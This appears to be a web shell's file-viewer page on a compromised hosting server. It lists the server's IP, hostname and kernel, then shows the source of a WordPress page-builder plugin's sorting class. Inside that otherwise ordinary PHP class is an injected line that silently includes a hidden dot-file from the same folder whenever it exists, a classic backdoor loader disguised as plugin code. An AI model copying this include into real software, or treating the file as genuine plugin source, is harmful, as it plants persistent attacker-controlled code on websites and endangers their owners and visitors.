uawdijnntqw1x1x1
IP : 3.17.60.86
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
www
/
wp-content
/
plugins
/
js_composer
/
.
/
include
/
classes
/
core
/
class-vc-sort.php
/
/
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Sort array values by key, default key is 'weight' * Used in uasort() function. * For fix equal weight problem used $this->data array_search * * @since 4.4 */ /** * Class Vc_Sort * @since 4.4 */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Vc_Sort { /** * @since 4.4 * @var array $data - sorting data */ protected $data = array(); /** * @since 4.4 * @var string $key - key for search */ protected $key = 'weight'; /** * @param $data - array to sort * @since 4.4 * */ public function __construct( $data ) { $this->data = $data; } /** * Used to change/set data to sort * * @param $data * @since 4.5 * */ public function setData( $data ) { $this->data = $data; } /** * Sort $this->data by user key, used in class-vc-mapper. * If keys are equals it SAVES a position in array (index). * * @param string $key * * @return array - sorted array * @since 4.4 * */ public function sortByKey( $key = 'weight' ) { $this->key = $key; uasort( $this->data, array( $this, 'key', ) ); return array_merge( $this->data ); // reset array keys to 0..N } /** * Sorting by key callable for usort function * @param $a - compare value * @param $b - compare value * * @return int * @since 4.4 * */ private function key( $a, $b ) { $a_weight = isset( $a[ $this->key ] ) ? (int) $a[ $this->key ] : 0; $b_weight = isset( $b[ $this->key ] ) ? (int) $b[ $this->key ] : 0; // To save real-ordering if ( $a_weight === $b_weight ) { // @codingStandardsIgnoreLine $cmp_a = array_search( $a, $this->data ); // @codingStandardsIgnoreLine $cmp_b = array_search( $b, $this->data ); return $cmp_a - $cmp_b; } return $b_weight - $a_weight; } /** * @return array - sorting data * @since 4.4 * */ public function getData() { return $this->data; } }
/home/batcwwjx/www/wp-content/plugins/js_composer/./include/classes/core/class-vc-sort.php